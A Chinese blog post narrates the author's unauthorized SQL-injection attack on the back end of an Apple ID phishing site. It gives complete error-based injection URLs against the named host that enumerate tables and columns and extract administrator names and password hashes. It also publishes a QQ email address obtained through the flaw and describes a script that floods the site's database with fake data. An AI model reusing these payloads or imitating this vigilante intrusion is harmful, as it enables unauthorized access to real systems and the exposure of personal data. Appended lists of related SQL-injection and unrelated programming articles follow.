SQL注入-攻入Apple ID钓鱼网站实录
之前写的一篇利用SQL注入方式攻击钓鱼网站的文章,现在在博客园再分享一下。
下午,朋友发了一条朋友圈,内容大概这样:
大体就是她的iPhone丢了,收到了钓鱼短信,多么熟悉的套路,如下:
还好她比较机智,发现是个钓鱼网站,地址如下:
http://www.apple-icloudid.com.cn
当时看到这件事后,想到之前有巨巨顺势搞定钓鱼网站,所以我也想小试牛刀一下,看看能否攻入钓鱼网站后台。
在试了几轮PHP常见后台地址后,比如/admin,/index.php/admin,均未奏效,索性开始对网站抓包,抓包过程中有了意外收获,得到了另一个实际的核心站点信息。
原来在apple-icloudid.com.cn下的一切请求实际都是由http://www.ht888.pw这个站点来处理的,包括管理后台。
这个站点设计的极为简陋,所以三下五除二就顺利找到了管理后台地址:http://www.ht888.pw/admin/
然而竟然同时发现了另外一个管理后台:http://www.ht888.pw/new/admin/
页面上写着“低调做人,高调做事”,这是个什么鬼!!!
下面对这两个站点抓包的过程中,十分幸运的是,发现了一个SQL注入漏洞:
简单的API调用居然把执行的SQL语句返回了!!!这么严重的漏洞,我不利用谁利用。
不过让我惊讶的是,管理后台的登录框有对SQL注入做了处理,所以我只能从这个API调用来进行SQL注入。
对了,我是SQL注入小白,通过网上现找和朋友给的一点MySQL资料,使用Postman实现了简单的攻击。
第一波先获取数据库表信息
http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '
得到10张表名,分别是ap_admin, ap_members, ap_sites, ap_userlog, yu_admin, yu_guest, yu_members, yu_mibao, yu_sites, yu_userlog。
其中yu_mibao这张表里存储着受害人的iCloud账号信息,ap_admin和yu_admin两张表里存了管理员账号。
第二波获取管理员表结构
http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='yu_admin' limit 0,1)),0) or '
其中ap_admin和yu_admin表字段一致,分别为userid, gid, username, password, email, logintime, loginip, logincount。两张表里各有一条管理员账号记录
ap_members和yu_members表字段一致,分别为uid, email, password, regip, address, site。
其他表还没有查看,方法类似。
第三波获取表数据
http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat_ws(':', username, password, email, logintime, loginip, logincount) FROM yu_admin limit 0,1)),0) or '
这里我们从ap_admin表获得一个管理员账号,账户名为apple,密码为加密后内容0659c7992e268962384eb17,暂时未能破解。
从yu_admin表中获得另一个管理员账号,账户名为apple,密码同样为加密内容5a50131eb6f2d7b652ae459b4,同样暂时未破解。
到了这里基本就可只差密码的破解的,后续的步骤是试着删除掉该钓鱼站点所有受害人信息。
写在最后
公布下目前找到的有关钓鱼网站的信息
以及通过API漏洞获得的QQ邮箱一个:1485882247@qq.com
以上就是本次整个攻击过程,当然因为我是菜鸟,所以很多要点处理的应该都不太好。钓鱼网站这个套路屡见不鲜,对方往往打一枪换一个地方,祸害了不知多少普通用户。手机丢了还好,可怕的是iCloud里的隐私数据,往往会带来难以想象的伤害。
最后,就酱。
#4月7日更新
目前写了个小程序,不停往对方数据库写入假数据^_^
刚看到@林肖恩的新进展Apple ID钓鱼网站后台一览 - 知乎专栏
很疑惑为什么我用Postman获取到的密码长度是23位,而林肖恩获取到的确实完整的32位
钓鱼网站后台已被破掉,受害者信息已清空。赞!!!
已将相关网站举报到12321网络不良与垃圾信息举报受理中心
SQL注入-攻入Apple ID钓鱼网站实录的更多相关文章
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- 网站sql注入漏洞修复方案之metinfo 6.1.0系列
近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数 ...
- SpringMVC利用拦截器防止SQL注入
引言 随着互联网的发展,人们在享受互联网带来的便捷的服务的时候,也面临着个人的隐私泄漏的问题.小到一个拥有用户系统的小型论坛,大到各个大型的银行机构,互联网安全问题都显得格外重要.而这些网站的背后,则 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- sql注入漏洞笔记随笔
sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...
- SQL注入的那些面试题总结
一.知识储备类 1.SQL与NoSQL的区别? SQL:关系型数据库 NoSQL:非关系型数据库 存储方式:SQL具有特定的结构表,NoSQL存储方式灵活 性能:NoSQL较优于SQL 数据类型:SQ ...
- php安全编程—sql注入攻击
php安全编程--sql注入攻击 定义 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因 ...
- SQL注入(一) - 入门篇
什么是SQL注入 可能大家还不是对SQL注入这个概念不是很清楚,简单地说,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据 ...
- sql注入、csrf
◎sql注入产生的原因?又如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用 ...
随机推荐
- Java数据类型+练习
java基础数据类型: 四类八种: 1, 整数型 byte 2的8次方(取值范围--<-128~127>)--1个字节 short 2的16次方--2个 int 2的32次方- ...
- 制作Docker镜像
编写DockerFile 这个DockerFile是一个制作镜像的配方,用于描述这些文件,环境,和命令.在Linux.macOS的窗口终端中,或者windows的命令提示符下,执行下面的步骤,切记如果 ...
- 关于table表格td里内容是数字而且太长不换行的问题
<p>table{table-layout:fixed}</p><p>table td{word-wrap:break-word}</p><p&g ...
- 【翻译】React vs Angular: JavaScript的双向性
翻译原文链接:https://blog.prototypr.io/react-vs-angular-two-sides-of-javascript-b850de22b413 我的翻译小站:http:/ ...
- RxSwift 系列(六) -- Mathematical and Aggregate Operators
前言 本篇文章将要学习RxSwift中数学和集合操作符,在RxSwift中包括了: toArray reduce concat toArray 将一个Observable序列转化为一个数组,并转换为一 ...
- Ext.Component事件
组件类提供了许多生命周期事件.当组件创建时,这些激活,渲染,销毁等等事件被激活.所有这些事件都可以通过使用监听器属性或使用on方法来进行处理.大多数这些生命周期事件实际上都是在ext.abstract ...
- guava缓存底层实现
摘要 guava的缓存相信很多人都有用到, Cache<String, String> cache = CacheBuilder.newBuilder() .expireAfterWrit ...
- 解决mydql执行sql文件时报Error: Unknown storage engine 'InnoDB'的错误。
我运行了一个innoDB类型的sql文件,报了Error: Unknown storage engine 'InnoDB'错误,网上查了很多方法,但是都没办法真正解决我的问题,后来解决了,在这里总结一 ...
- spring boot 配置文件application
场景:在项目部署的过程中,对于spring boot的配置文件一直不很了解,直到项目出现一个莫名其妙的问题——工程classes中的配置文件被覆盖,程序启动总是报错! 1 配置文件的优先级 appl ...
- Opencv-2017-7-18
橘子薄皮只吃瓤,可以称之为过滤,意思是只要我们需要的东西,去除不需要的. 图像灰度级的分布及变化. 空间域(分布)和频域(变化). 低频(变化小),高频,水平/垂直,(高/低通滤波器). 低频-类似模 ...